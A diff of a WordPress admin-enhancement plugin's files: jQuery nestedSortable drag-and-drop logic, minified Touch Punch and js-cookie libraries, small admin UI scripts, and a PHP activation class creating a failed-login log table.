this.options.type === "semi-dynamic" ?
|
||||
!$.contains(this.element[0], itemElement) :
|
||||
true
|
||||
)
|
||||
) {
|
||||
|
||||
// mjs - we are intersecting an element:
|
||||
// trigger the mouseenter event and store this state
|
||||
if (!this.mouseentered) {
|
||||
$(itemElement).mouseenter();
|
||||
this.mouseentered = true;
|
||||
}
|
||||
|
||||
// mjs - if the element has children and they are hidden,
|
||||
// show them after a delay (CSS responsible)
|
||||
if (o.isTree && $(itemElement).hasClass(o.collapsedClass) && o.expandOnHover) {
|
||||
if (!this.hovering) {
|
||||
$(itemElement).addClass(o.hoveringClass);
|
||||
this.hovering = window.setTimeout(function() {
|
||||
$(itemElement)
|
||||
.removeClass(o.collapsedClass)
|
||||
.addClass(o.expandedClass);
|
||||
|
||||
self.refreshPositions();
|
||||
self._trigger("expand", event, [self._uiHash(), itemElement]);
|
||||
}, o.expandOnHover);
|
||||
}
|
||||
}
|
||||
|
||||
this.direction = intersection === 1 ? "down" : "up";
|
||||
|
||||
// mjs - rearrange the elements and reset timeouts and hovering state
|
||||
if (this.options.tolerance === "pointer" || this._intersectsWithSides(item)) {
|
||||
$(itemElement).mouseleave();
|
||||
this.mouseentered = false;
|
||||
$(itemElement).removeClass(o.hoveringClass);
|
||||
if (this.hovering) {
|
||||
window.clearTimeout(this.hovering);
|
||||
}
|
||||
this.hovering = null;
|
||||
|
||||
// mjs - do not switch container if
|
||||
// it's a root item and 'protectRoot' is true
|
||||
// or if it's not a root item but we are trying to make it root
|
||||
if (o.protectRoot &&
|
||||
!(
|
||||
this.currentItem[0].parentNode === this.element[0] &&
|
||||
// it's a root item
|
||||
itemElement.parentNode !== this.element[0]
|
||||
// it's intersecting a non-root item
|
||||
)
|
||||
) {
|
||||
if (this.currentItem[0].parentNode !== this.element[0] &&
|
||||
itemElement.parentNode === this.element[0]
|
||||
) {
|
||||
|
||||
if ( !$(itemElement).children(o.listType).length) {
|
||||
itemElement.appendChild(newList);
|
||||
if (o.isTree) {
|
||||
$(itemElement)
|
||||
.removeClass(o.leafClass)
|
||||
.addClass(o.branchClass + " " + o.expandedClass);
|
||||
}
|
||||
}
|
||||
|
||||
if (this.direction === "down") {
|
||||
a = $(itemElement).prev().children(o.listType);
|
||||
} else {
|
||||
a = $(itemElement).children(o.listType);
|
||||
}
|
||||
|
||||
if (a[0] !== undefined) {
|
||||
this._rearrange(event, null, a);
|
||||
}
|
||||
|
||||
} else {
|
||||
this._rearrange(event, item);
|
||||
}
|
||||
} else if (!o.protectRoot) {
|
||||
this._rearrange(event, item);
|
||||
}
|
||||
} else {
|
||||
break;
|
||||
}
|
||||
|
||||
// Clear emtpy ul's/ol's
|
||||
this._clearEmpty(itemElement);
|
||||
|
||||
this._trigger("change", event, this._uiHash());
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
// mjs - to find the previous sibling in the list,
|
||||
// keep backtracking until we hit a valid list item.
|
||||
(function() {
|
||||
var _previousItem = this.placeholder.prev();
|
||||
if (_previousItem.length) {
|
||||
previousItem = _previousItem;
|
||||
} else {
|
||||
previousItem = null;
|
||||
}
|
||||
}.call(this));
|
||||
|
||||
if (previousItem != null) {
|
||||
while (
|
||||
previousItem[0].nodeName.toLowerCase() !== "li" ||
|
||||
previousItem[0].className.indexOf(o.disabledClass) !== -1 ||
|
||||
previousItem[0] === this.currentItem[0] ||
|
||||
previousItem[0] === this.helper[0]
|
||||
) {
|
||||
if (previousItem[0].previousSibling) {
|
||||
previousItem = $(previousItem[0].previousSibling);
|
||||
} else {
|
||||
previousItem = null;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// mjs - to find the next sibling in the list,
|
||||
// keep stepping forward until we hit a valid list item.
|
||||
(function() {
|
||||
var _nextItem = this.placeholder.next();
|
||||
if (_nextItem.length) {
|
||||
nextItem = _nextItem;
|
||||
} else {
|
||||
nextItem = null;
|
||||
}
|
||||
}.call(this));
|
||||
|
||||
if (nextItem != null) {
|
||||
while (
|
||||
nextItem[0].nodeName.toLowerCase() !== "li" ||
|
||||
nextItem[0].className.indexOf(o.disabledClass) !== -1 ||
|
||||
nextItem[0] === this.currentItem[0] ||
|
||||
nextItem[0] === this.helper[0]
|
||||
) {
|
||||
if (nextItem[0].nextSibling) {
|
||||
nextItem = $(nextItem[0].nextSibling);
|
||||
} else {
|
||||
nextItem = null;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
this.beyondMaxLevels = 0;
|
||||
|
||||
// mjs - if the item is moved to the left, send it one level up
|
||||
// but only if it's at the bottom of the list
|
||||
if (parentItem != null &&
|
||||
nextItem == null &&
|
||||
!(o.protectRoot && parentItem[0].parentNode == this.element[0]) &&
|
||||
(
|
||||
o.rtl &&
|
||||
(
|
||||
this.positionAbs.left +
|
||||
this.helper.outerWidth() > parentItem.offset().left +
|
||||
parentItem.outerWidth()
|
||||
) ||
|
||||
!o.rtl && (this.positionAbs.left < parentItem.offset().left)
|
||||
)
|
||||
) {
|
||||
|
||||
parentItem.after(this.placeholder[0]);
|
||||
helperIsNotSibling = !parentItem
|
||||
.children(o.listItem)
|
||||
.children("li:visible:not(.ui-sortable-helper)")
|
||||
.length;
|
||||
if (o.isTree && helperIsNotSibling) {
|
||||
parentItem
|
||||
.removeClass(this.options.branchClass + " " + this.options.expandedClass)
|
||||
.addClass(this.options.leafClass);
|
||||
}
|
||||
if(typeof parentItem !== 'undefined')
|
||||
this._clearEmpty(parentItem[0]);
|
||||
this._trigger("change", event, this._uiHash());
|
||||
// mjs - if the item is below a sibling and is moved to the right,
|
||||
// make it a child of that sibling
|
||||
} else if (previousItem != null &&
|
||||
!previousItem.hasClass(o.disableNestingClass) &&
|
||||
(
|
||||
previousItem.children(o.listType).length &&
|
||||
previousItem.children(o.listType).is(":visible") ||
|
||||
!previousItem.children(o.listType).length
|
||||
) &&
|
||||
!(o.protectRoot && this.currentItem[0].parentNode === this.element[0]) &&
|
||||
(
|
||||
o.rtl &&
|
||||
(
|
||||
this.positionAbs.left +
|
||||
this.helper.outerWidth() <
|
||||
previousItem.offset().left +
|
||||
previousItem.outerWidth() -
|
||||
o.tabSize
|
||||
) ||
|
||||
!o.rtl &&
|
||||
(this.positionAbs.left > previousItem.offset().left + o.tabSize)
|
||||
)
|
||||
) {
|
||||
|
||||
this._isAllowed(previousItem, level, level + childLevels + 1);
|
||||
|
||||
if (!previousItem.children(o.listType).length) {
|
||||
previousItem[0].appendChild(newList);
|
||||
if (o.isTree) {
|
||||
previousItem
|
||||
.removeClass(o.leafClass)
|
||||
.addClass(o.branchClass + " " + o.expandedClass);
|
||||
}
|
||||
}
|
||||
|
||||
// mjs - if this item is being moved from the top, add it to the top of the list.
|
||||
if (previousTopOffset && (previousTopOffset <= previousItem.offset().top)) {
|
||||
previousItem.children(o.listType).prepend(this.placeholder);
|
||||
} else {
|
||||
// mjs - otherwise, add it to the bottom of the list.
|
||||
previousItem.children(o.listType)[0].appendChild(this.placeholder[0]);
|
||||
}
|
||||
if(typeof parentItem !== 'undefined')
|
||||
this._clearEmpty(parentItem[0]);
|
||||
this._trigger("change", event, this._uiHash());
|
||||
} else {
|
||||
this._isAllowed(parentItem, level, level + childLevels);
|
||||
}
|
||||
|
||||
//Post events to containers
|
||||
this._contactContainers(event);
|
||||
|
||||
//Interconnect with droppables
|
||||
if ($.ui.ddmanager) {
|
||||
$.ui.ddmanager.drag(this, event);
|
||||
}
|
||||
|
||||
//Call callbacks
|
||||
this._trigger("sort", event, this._uiHash());
|
||||
|
||||
this.lastPositionAbs = this.positionAbs;
|
||||
return false;
|
||||
|
||||
},
|
||||
|
||||
_mouseStop: function(event) {
|
||||
// mjs - if the item is in a position not allowed, send it back
|
||||
if (this.beyondMaxLevels) {
|
||||
|
||||
this.placeholder.removeClass(this.options.errorClass);
|
||||
|
||||
if (this.domPosition.prev) {
|
||||
$(this.domPosition.prev).after(this.placeholder);
|
||||
} else {
|
||||
$(this.domPosition.parent).prepend(this.placeholder);
|
||||
}
|
||||
|
||||
this._trigger("revert", event, this._uiHash());
|
||||
|
||||
}
|
||||
|
||||
// mjs - clear the hovering timeout, just to be sure
|
||||
$("." + this.options.hoveringClass)
|
||||
.mouseleave()
|
||||
.removeClass(this.options.hoveringClass);
|
||||
|
||||
this.mouseentered = false;
|
||||
if (this.hovering) {
|
||||
window.clearTimeout(this.hovering);
|
||||
}
|
||||
this.hovering = null;
|
||||
|
||||
this._relocate_event = event;
|
||||
this._pid_current = $(this.domPosition.parent).parent().attr("id");
|
||||
this._sort_current = this.domPosition.prev ? $(this.domPosition.prev).next().index() : 0;
|
||||
$.ui.sortable.prototype._mouseStop.apply(this, arguments); //asybnchronous execution, @see _clear for the relocate event.
|
||||
},
|
||||
|
||||
// mjs - this function is slightly modified
|
||||
// to make it easier to hover over a collapsed element and have it expand
|
||||
_intersectsWithSides: function(item) {
|
||||
|
||||
var half = this.options.isTree ? .8 : .5,
|
||||
isOverBottomHalf = isOverAxis(
|
||||
this.positionAbs.top + this.offset.click.top,
|
||||
item.top + (item.height * half),
|
||||
item.height
|
||||
),
|
||||
isOverTopHalf = isOverAxis(
|
||||
this.positionAbs.top + this.offset.click.top,
|
||||
item.top - (item.height * half),
|
||||
item.height
|
||||
),
|
||||
isOverRightHalf = isOverAxis(
|
||||
this.positionAbs.left + this.offset.click.left,
|
||||
item.left + (item.width / 2),
|
||||
item.width
|
||||
),
|
||||
verticalDirection = this._getDragVerticalDirection(),
|
||||
horizontalDirection = this._getDragHorizontalDirection();
|
||||
|
||||
if (this.floating && horizontalDirection) {
|
||||
return (
|
||||
(horizontalDirection === "right" && isOverRightHalf) ||
|
||||
(horizontalDirection === "left" && !isOverRightHalf)
|
||||
);
|
||||
} else {
|
||||
return verticalDirection && (
|
||||
(verticalDirection === "down" && isOverBottomHalf) ||
|
||||
(verticalDirection === "up" && isOverTopHalf)
|
||||
);
|
||||
}
|
||||
|
||||
},
|
||||
|
||||
_contactContainers: function() {
|
||||
|
||||
if (this.options.protectRoot && this.currentItem[0].parentNode === this.element[0] ) {
|
||||
return;
|
||||
}
|
||||
|
||||
$.ui.sortable.prototype._contactContainers.apply(this, arguments);
|
||||
|
||||
},
|
||||
|
||||
_clear: function() {
|
||||
var i,
|
||||
item;
|
||||
|
||||
$.ui.sortable.prototype._clear.apply(this, arguments);
|
||||
|
||||
//relocate event
|
||||
if (!(this._pid_current === this._uiHash().item.parent().parent().attr("id") &&
|
||||
this._sort_current === this._uiHash().item.index())) {
|
||||
this._trigger("relocate", this._relocate_event, this._uiHash());
|
||||
}
|
||||
|
||||
// mjs - clean last empty ul/ol
|
||||
for (i = this.items.length - 1; i >= 0; i--) {
|
||||
item = this.items[i].item[0];
|
||||
this._clearEmpty(item);
|
||||
}
|
||||
|
||||
},
|
||||
|
||||
serialize: function(options) {
|
||||
|
||||
var o = $.extend({}, this.options, options),
|
||||
items = this._getItemsAsjQuery(o && o.connected),
|
||||
str = [];
|
||||
|
||||
$(items).each(function() {
|
||||
var res = ($(o.item || this).attr(o.attribute || "id") || "")
|
||||
.match(o.expression || (/(.+)[-=_](.+)/)),
|
||||
pid = ($(o.item || this).parent(o.listType)
|
||||
.parent(o.items)
|
||||
.attr(o.attribute || "id") || "")
|
||||
.match(o.expression || (/(.+)[-=_](.+)/));
|
||||
|
||||
if (res) {
|
||||
str.push(
|
||||
(
|
||||
(o.key || res[1]) +
|
||||
"[" +
|
||||
(o.key && o.expression ? res[1] : res[2]) + "]"
|
||||
) +
|
||||
"=" +
|
||||
(pid ? (o.key && o.expression ? pid[1] : pid[2]) : o.rootID));
|
||||
}
|
||||
});
|
||||
|
||||
if (!str.length && o.key) {
|
||||
str.push(o.key + "=");
|
||||
}
|
||||
|
||||
return str.join("&");
|
||||
|
||||
},
|
||||
|
||||
toHierarchy: function(options) {
|
||||
|
||||
var o = $.extend({}, this.options, options),
|
||||
ret = [];
|
||||
|
||||
$(this.element).children(o.items).each(function() {
|
||||
var level = _recursiveItems(this);
|
||||
ret.push(level);
|
||||
});
|
||||
|
||||
return ret;
|
||||
|
||||
function _recursiveItems(item) {
|
||||
var id = ($(item).attr(o.attribute || "id") || "").match(o.expression || (/(.+)[-=_](.+)/)),
|
||||
currentItem;
|
||||
|
||||
var data = $(item).data();
|
||||
if (data.nestedSortableItem) {
|
||||
delete data.nestedSortableItem; // Remove the nestedSortableItem object from the data
|
||||
}
|
||||
|
||||
if (id) {
|
||||
currentItem = {
|
||||
"id": id[2]
|
||||
};
|
||||
|
||||
currentItem = $.extend({}, currentItem, data); // Combine the two objects
|
||||
|
||||
if ($(item).children(o.listType).children(o.items).length > 0) {
|
||||
currentItem.children = [];
|
||||
$(item).children(o.listType).children(o.items).each(function() {
|
||||
var level = _recursiveItems(this);
|
||||
currentItem.children.push(level);
|
||||
});
|
||||
}
|
||||
return currentItem;
|
||||
}
|
||||
}
|
||||
},
|
||||
|
||||
toArray: function(options) {
|
||||
|
||||
var o = $.extend({}, this.options, options),
|
||||
sDepth = o.startDepthCount || 0,
|
||||
ret = [],
|
||||
left = 1;
|
||||
|
||||
if (!o.excludeRoot) {
|
||||
ret.push({
|
||||
"item_id": o.rootID,
|
||||
"parent_id": null,
|
||||
"depth": sDepth,
|
||||
"left": left,
|
||||
"right": ($(o.items, this.element).length + 1) * 2
|
||||
});
|
||||
left++;
|
||||
}
|
||||
|
||||
$(this.element).children(o.items).each(function() {
|
||||
left = _recursiveArray(this, sDepth, left);
|
||||
});
|
||||
|
||||
ret = ret.sort(function(a, b) { return (a.left - b.left); });
|
||||
|
||||
return ret;
|
||||
|
||||
function _recursiveArray(item, depth, _left) {
|
||||
|
||||
var right = _left + 1,
|
||||
id,
|
||||
pid,
|
||||
parentItem;
|
||||
|
||||
if ($(item).children(o.listType).children(o.items).length > 0) {
|
||||
depth++;
|
||||
$(item).children(o.listType).children(o.items).each(function() {
|
||||
right = _recursiveArray($(this), depth, right);
|
||||
});
|
||||
depth--;
|
||||
}
|
||||
|
||||
id = ($(item).attr(o.attribute || "id") || "").match(o.expression || (/(.+)[-=_](.+)/));
|
||||
|
||||
if (depth === sDepth) {
|
||||
pid = o.rootID;
|
||||
} else {
|
||||
parentItem = ($(item).parent(o.listType)
|
||||
.parent(o.items)
|
||||
.attr(o.attribute || "id"))
|
||||
.match(o.expression || (/(.+)[-=_](.+)/));
|
||||
pid = parentItem[2];
|
||||
}
|
||||
|
||||
if (id) {
|
||||
var data = $(item).children('div').data();
|
||||
var itemObj = $.extend( data, {
|
||||
"id":id[2],
|
||||
"parent_id":pid,
|
||||
"depth":depth,
|
||||
"left":_left,
|
||||
"right":right
|
||||
} );
|
||||
ret.push( itemObj );
|
||||
}
|
||||
|
||||
_left = right + 1;
|
||||
return _left;
|
||||
}
|
||||
|
||||
},
|
||||
|
||||
_clearEmpty: function (item) {
|
||||
function replaceClass(elem, search, replace, swap) {
|
||||
if (swap) {
|
||||
search = [replace, replace = search][0];
|
||||
}
|
||||
|
||||
$(elem).removeClass(search).addClass(replace);
|
||||
}
|
||||
|
||||
var o = this.options,
|
||||
childrenList = $(item).children(o.listType),
|
||||
hasChildren = childrenList.has('li').length;
|
||||
|
||||
var doNotClear =
|
||||
o.doNotClear ||
|
||||
hasChildren ||
|
||||
o.protectRoot && $(item)[0] === this.element[0];
|
||||
|
||||
if (o.isTree) {
|
||||
replaceClass(item, o.branchClass, o.leafClass, doNotClear);
|
||||
}
|
||||
|
||||
if (!doNotClear) {
|
||||
childrenList.parent().removeClass(o.expandedClass);
|
||||
childrenList.remove();
|
||||
}
|
||||
},
|
||||
|
||||
_getLevel: function(item) {
|
||||
|
||||
var level = 1,
|
||||
list;
|
||||
|
||||
if (this.options.listType) {
|
||||
list = item.closest(this.options.listType);
|
||||
while (list && list.length > 0 && !list.is(".ui-sortable")) {
|
||||
level++;
|
||||
list = list.parent().closest(this.options.listType);
|
||||
}
|
||||
}
|
||||
|
||||
return level;
|
||||
},
|
||||
|
||||
_getChildLevels: function(parent, depth) {
|
||||
var self = this,
|
||||
o = this.options,
|
||||
result = 0;
|
||||
depth = depth || 0;
|
||||
|
||||
$(parent).children(o.listType).children(o.items).each(function(index, child) {
|
||||
result = Math.max(self._getChildLevels(child, depth + 1), result);
|
||||
});
|
||||
|
||||
return depth ? result + 1 : result;
|
||||
},
|
||||
|
||||
_isAllowed: function(parentItem, level, levels) {
|
||||
var o = this.options,
|
||||
// this takes into account the maxLevels set to the recipient list
|
||||
maxLevels = this
|
||||
.placeholder
|
||||
.closest(".ui-sortable")
|
||||
.nestedSortable("option", "maxLevels"),
|
||||
|
||||
// Check if the parent has changed to prevent it, when o.disableParentChange is true
|
||||
oldParent = this.currentItem.parent().parent(),
|
||||
disabledByParentchange = o.disableParentChange && (
|
||||
//From somewhere to somewhere else, except the root
|
||||
typeof parentItem !== 'undefined' && !oldParent.is(parentItem) ||
|
||||
typeof parentItem === 'undefined' && oldParent.is("li") //From somewhere to the root
|
||||
);
|
||||
// mjs - is the root protected?
|
||||
// mjs - are we nesting too deep?
|
||||
if (
|
||||
disabledByParentchange ||
|
||||
!o.isAllowed(this.placeholder, parentItem, this.currentItem)
|
||||
) {
|
||||
this.placeholder.addClass(o.errorClass);
|
||||
if (maxLevels < levels && maxLevels !== 0) {
|
||||
this.beyondMaxLevels = levels - maxLevels;
|
||||
} else {
|
||||
this.beyondMaxLevels = 1;
|
||||
}
|
||||
} else {
|
||||
if (maxLevels < levels && maxLevels !== 0) {
|
||||
this.placeholder.addClass(o.errorClass);
|
||||
this.beyondMaxLevels = levels - maxLevels;
|
||||
} else {
|
||||
this.placeholder.removeClass(o.errorClass);
|
||||
this.beyondMaxLevels = 0;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
}));
|
||||
|
||||
$.mjs.nestedSortable.prototype.options = $.extend(
|
||||
{},
|
||||
$.ui.sortable.prototype.options,
|
||||
$.mjs.nestedSortable.prototype.options
|
||||
);
|
||||
}));
|
||||
+11
@@ -0,0 +1,11 @@
|
||||
/*!
|
||||
* jQuery UI Touch Punch 0.2.3
|
||||
*
|
||||
* Copyright 2011–2014, Dave Furfero
|
||||
* Dual licensed under the MIT or GPL Version 2 licenses.
|
||||
*
|
||||
* Depends:
|
||||
* jquery.ui.widget.js
|
||||
* jquery.ui.mouse.js
|
||||
*/
|
||||
!function(a){function f(a,b){if(!(a.originalEvent.touches.length>1)){a.preventDefault();var c=a.originalEvent.changedTouches[0],d=document.createEvent("MouseEvents");d.initMouseEvent(b,!0,!0,window,1,c.screenX,c.screenY,c.clientX,c.clientY,!1,!1,!1,!1,0,null),a.target.dispatchEvent(d)}}if(a.support.touch="ontouchend"in document,a.support.touch){var e,b=a.ui.mouse.prototype,c=b._mouseInit,d=b._mouseDestroy;b._touchStart=function(a){var b=this;!e&&b._mouseCapture(a.originalEvent.changedTouches[0])&&(e=!0,b._touchMoved=!1,f(a,"mouseover"),f(a,"mousemove"),f(a,"mousedown"))},b._touchMove=function(a){e&&(this._touchMoved=!0,f(a,"mousemove"))},b._touchEnd=function(a){e&&(f(a,"mouseup"),f(a,"mouseout"),this._touchMoved||f(a,"click"),e=!1)},b._mouseInit=function(){var b=this;b.element.bind({touchstart:a.proxy(b,"_touchStart"),touchmove:a.proxy(b,"_touchMove"),touchend:a.proxy(b,"_touchEnd")}),c.call(b)},b._mouseDestroy=function(){var b=this;b.element.unbind({touchstart:a.proxy(b,"_touchStart"),touchmove:a.proxy(b,"_touchMove"),touchend:a.proxy(b,"_touchEnd")}),d.call(b)}}}(jQuery);
|
||||
@@ -0,0 +1,2 @@
|
||||
/*! js-cookie v3.0.1 | MIT */
|
||||
!function(e,t){"object"==typeof exports&&"undefined"!=typeof module?module.exports=t():"function"==typeof define&&define.amd?define(t):(e=e||self,function(){var n=e.Cookies,o=e.Cookies=t();o.noConflict=function(){return e.Cookies=n,o}}())}(this,(function(){"use strict";function e(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var o in n)e[o]=n[o]}return e}return function t(n,o){function r(t,r,i){if("undefined"!=typeof document){"number"==typeof(i=e({},o,i)).expires&&(i.expires=new Date(Date.now()+864e5*i.expires)),i.expires&&(i.expires=i.expires.toUTCString()),t=encodeURIComponent(t).replace(/%(2[346B]|5E|60|7C)/g,decodeURIComponent).replace(/[()]/g,escape);var c="";for(var u in i)i[u]&&(c+="; "+u,!0!==i[u]&&(c+="="+i[u].split(";")[0]));return document.cookie=t+"="+n.write(r,t)+c}}return Object.create({set:r,get:function(e){if("undefined"!=typeof document&&(!arguments.length||e)){for(var t=document.cookie?document.cookie.split("; "):[],o={},r=0;r<t.length;r++){var i=t[r].split("="),c=i.slice(1).join("=");try{var u=decodeURIComponent(i[0]);if(o[u]=n.read(c,u),e===u)break}catch(e){}}return e?o[e]:o}},remove:function(t,n){r(t,"",e({},n,{expires:-1}))},withAttributes:function(n){return t(this.converter,e({},this.attributes,n))},withConverter:function(n){return t(e({},this.converter,n),this.attributes)}},{attributes:{value:Object.freeze(o)},converter:{value:Object.freeze(n)}})}({read:function(e){return'"'===e[0]&&(e=e.slice(1,-1)),e.replace(/(%[\dA-F]{2})+/gi,decodeURIComponent)},write:function(e){return encodeURIComponent(e).replace(/%(2[346BF]|3[AC-F]|40|5[BDE]|60|7[BCD])/g,decodeURIComponent)}},{path:"/"})}));
|
||||
@@ -0,0 +1,9 @@
|
||||
(function( $ ) {
|
||||
'use strict';
|
||||
$(document).ready( function() {
|
||||
|
||||
// Move "Manage Columns" button to the right of "Filter" button on list tables
|
||||
$('#content-order-button').appendTo('.tablenav.top .alignleft.actions:not(.bulkactions)');
|
||||
|
||||
}); // END OF $(document).ready()
|
||||
})( jQuery );
|
||||
@@ -0,0 +1,99 @@
|
||||
(function( $ ) {
|
||||
'use strict';
|
||||
|
||||
$(document).ready( function() {
|
||||
|
||||
// Place the Replace Media section after the side metaboxes
|
||||
$('#media-replace-div').appendTo('#postbox-container-1');
|
||||
|
||||
});
|
||||
|
||||
})( jQuery );
|
||||
|
||||
// let asenhaMRVars = asenhaMR;
|
||||
|
||||
// Open media modal on clicking Select New Media File button.
|
||||
// This is set with onclick="replaceMedia('mime/type')" on the button HTML
|
||||
function replaceMedia(originalAttachmentId,oldImageMimeType) {
|
||||
if ( oldImageMimeType ) {
|
||||
// There's a mime type defined. Do nothing.
|
||||
} else {
|
||||
// We're in the grid view of an image. Get the mime type form the file info in DOM.
|
||||
if ( jQuery('.details .file-type').length ) {
|
||||
var oldImageMimeTypeFromDom = jQuery('.details .file-type').html();
|
||||
}
|
||||
// Sometimes .file-type div is not there, and instead, a second .filename div is used to display file type info
|
||||
else if ( jQuery('.details .filename:nth-child(2)').length ) {
|
||||
var oldImageMimeTypeFromDom = jQuery('.details .filename:nth-child(2)').html();
|
||||
}
|
||||
// Replace '<strong>File type:</strong>' in any language with empty string
|
||||
oldImageMimeTypeFromDom = oldImageMimeTypeFromDom.replace(/<strong>(.*?)<\/strong>/, '');
|
||||
// Replace one blank spacing with an empty space / no space
|
||||
oldImageMimeType = oldImageMimeTypeFromDom.replace(' ', '');
|
||||
}
|
||||
|
||||
// https://codex.wordpress.org/Javascript_Reference/wp.media
|
||||
// https://github.com/ericandrewlewis/wp-media-javascript-guide
|
||||
|
||||
// Instantiate the media frame
|
||||
mediaFrame = wp.media({
|
||||
title: mediaReplace.selectMediaText,
|
||||
button: {
|
||||
text: mediaReplace.performReplacementText
|
||||
},
|
||||
multiple: false // Enable/disable multiple select
|
||||
});
|
||||
|
||||
|
||||
// Open the media dialog and store it in a variable
|
||||
var mediaFrameEl = jQuery(mediaFrame.open().el);
|
||||
|
||||
// Open the "Upload files" tab on load
|
||||
mediaFrameEl.find('#menu-item-upload').click();
|
||||
|
||||
// When an image is selected
|
||||
mediaFrameEl.on('click', 'li.attachment', function(e) {
|
||||
var mimeTypeWarning = '<div class="mime-type-warning">The selected image is of a different type than the image to replace. Please choose an image with the same type.</div>';
|
||||
var selectedAttachment = mediaFrame.state().get('selection').first().toJSON();
|
||||
var selectedAttachmentMimeType = selectedAttachment.mime;
|
||||
|
||||
if ( oldImageMimeType != selectedAttachmentMimeType ) {
|
||||
jQuery('.media-frame-toolbar .media-toolbar-primary .mime-type-warning').remove();
|
||||
jQuery('.media-frame-toolbar .media-toolbar-primary').prepend(mimeTypeWarning);
|
||||
jQuery('.media-frame-toolbar .media-toolbar-primary .media-button-select').prop('disabled', true);
|
||||
} else {
|
||||
jQuery('.media-frame-toolbar .media-toolbar-primary .mime-type-warning').remove();
|
||||
jQuery('.media-frame-toolbar .media-toolbar-primary .media-button-select').prop('disabled', false);
|
||||
}
|
||||
});
|
||||
|
||||
// Make sure the "Drop files to upload" blue overlay is closed after dropping one or more files
|
||||
jQuery('.supports-drag-drop:not(.upload.php)').on( 'drop', function() {
|
||||
jQuery('.uploader-window').hide();
|
||||
});
|
||||
|
||||
// When Perform Replacement button is clicked in the media frame...
|
||||
mediaFrame.on('select', function() {
|
||||
|
||||
// Get media attachment details from the frame state
|
||||
var attachment = mediaFrame.state().get('selection').first().toJSON();
|
||||
var newImageMimeType = attachment.mime;
|
||||
|
||||
if ( oldImageMimeType == newImageMimeType ) {
|
||||
|
||||
// Send the attachment id of the replacement / new image to our hidden input
|
||||
jQuery('#new-attachment-id-'+originalAttachmentId).val(attachment.id);
|
||||
|
||||
if (jQuery('#new-attachment-id-'+originalAttachmentId).closest('.media-modal').length) {
|
||||
|
||||
} else {
|
||||
// For media library list view
|
||||
// "Perform Replacement" button has been clicked. Submit the edit form, which includes 'new-attachment-id'
|
||||
jQuery('#new-attachment-id-'+originalAttachmentId).closest("form").submit();
|
||||
jQuery(mediaFrame.close());
|
||||
}
|
||||
}
|
||||
|
||||
});
|
||||
|
||||
}
|
||||
@@ -0,0 +1,13 @@
|
||||
(function( $ ) {
|
||||
'use strict';
|
||||
|
||||
$(document).ready( function() {
|
||||
|
||||
// Replace roles dropdown with checkboxes in user editing / creation screens
|
||||
var rolesRow = $('select#role').closest('tr');
|
||||
rolesRow.html($('.asenha-roles-temporary-container tr').html());
|
||||
$('.asenha-roles-temporary-container').remove();
|
||||
|
||||
});
|
||||
|
||||
})( jQuery );
|
||||
File diff suppressed because one or more lines are too long
@@ -0,0 +1,34 @@
|
||||
(function( $ ) {
|
||||
'use strict';
|
||||
|
||||
$(document).ready( function() {
|
||||
|
||||
$('#toplevel_page_asenha_hide_hidden_menu').hide();
|
||||
|
||||
// Show hidden menu items
|
||||
|
||||
$('#toplevel_page_asenha_show_hidden_menu a').on( 'click', function(e) {
|
||||
e.preventDefault();
|
||||
$('#toplevel_page_asenha_show_hidden_menu').hide();
|
||||
$('#toplevel_page_asenha_hide_hidden_menu').show();
|
||||
$('.menu-top.asenha_hidden_menu').toggleClass('hidden');
|
||||
$('.wp-menu-separator.asenha_hidden_menu').toggleClass('hidden');
|
||||
|
||||
$(document).trigger('wp-window-resized');
|
||||
});
|
||||
|
||||
// Hide menu items set for hiding
|
||||
|
||||
$('#toplevel_page_asenha_hide_hidden_menu a').on( 'click', function(e) {
|
||||
e.preventDefault();
|
||||
$('#toplevel_page_asenha_show_hidden_menu').show();
|
||||
$('#toplevel_page_asenha_hide_hidden_menu').hide();
|
||||
$('.menu-top.asenha_hidden_menu').toggleClass('hidden');
|
||||
$('.wp-menu-separator.asenha_hidden_menu').toggleClass('hidden');
|
||||
|
||||
$(document).trigger('wp-window-resized');
|
||||
});
|
||||
|
||||
});
|
||||
|
||||
})( jQuery );
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,236 @@
|
||||
<?php
|
||||
|
||||
namespace ASENHA\Classes;
|
||||
|
||||
/**
|
||||
* Plugin Activation
|
||||
*
|
||||
* @since 1.0.0
|
||||
*/
|
||||
class Activation {
|
||||
|
||||
/**
|
||||
* Create failed login log table for Limit Login Attempts feature
|
||||
*
|
||||
* @since 2.5.0
|
||||
*/
|
||||
public function create_failed_logins_log_table() {
|
||||
global $wpdb;
|
||||
|
||||
// Limit Login Attempts Log Table
|
||||
|
||||
$table_name = $wpdb->prefix . 'asenha_failed_logins';
|
||||
|
||||
if ( ! empty( $wpdb->charset ) ) {
|
||||
$charset_collation_sql = "DEFAULT CHARACTER SET $wpdb->charset";
|
||||
}
|
||||
|
||||
if ( ! empty( $wpdb->collate ) ) {
|
||||
$charset_collation_sql .= " COLLATE $wpdb->collate";
|
||||
}
|
||||
|
||||
// Drop table if already exists
|
||||
$wpdb->query("DROP TABLE IF EXISTS `". $table_name ."`");
|
||||
|
||||
// Create database table. This procedure may also be called
|
||||
$sql =
|
||||
"CREATE TABLE {$table_name} (
|
||||
id int(6) unsigned NOT NULL auto_increment,
|
||||
ip_address varchar(40) NOT NULL DEFAULT '',
|
||||
username varchar(24) NOT NULL DEFAULT '',
|
||||
fail_count int(10) NOT NULL DEFAULT '0',
|
||||
lockout_count int(10) NOT NULL DEFAULT '0',
|
||||
request_uri varchar(24) NOT NULL DEFAULT '',
|
||||
unixtime int(10) NOT NULL DEFAULT '0',
|
||||
datetime_wp varchar(36) NOT NULL DEFAULT '',
|
||||
-- datetime_utc datetime NULL DEFAULT CURRENT_TIMESTAMP,
|
||||
info varchar(64) NOT NULL DEFAULT '',
|
||||
UNIQUE (ip_address),
|
||||
PRIMARY KEY (id)
|
||||
) {$charset_collation_sql}";
|
||||
|
||||
require_once ABSPATH . '/wp-admin/includes/upgrade.php';
|
||||
|
||||
dbDelta( $sql );
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
/**
|
||||
* Create email delivery log table for Email Delivery module
|
||||
*
|
||||
* @since 7.1.0
|
||||
*/
|
||||
public function create_email_delivery_log_table() {
|
||||
global $wpdb;
|
||||
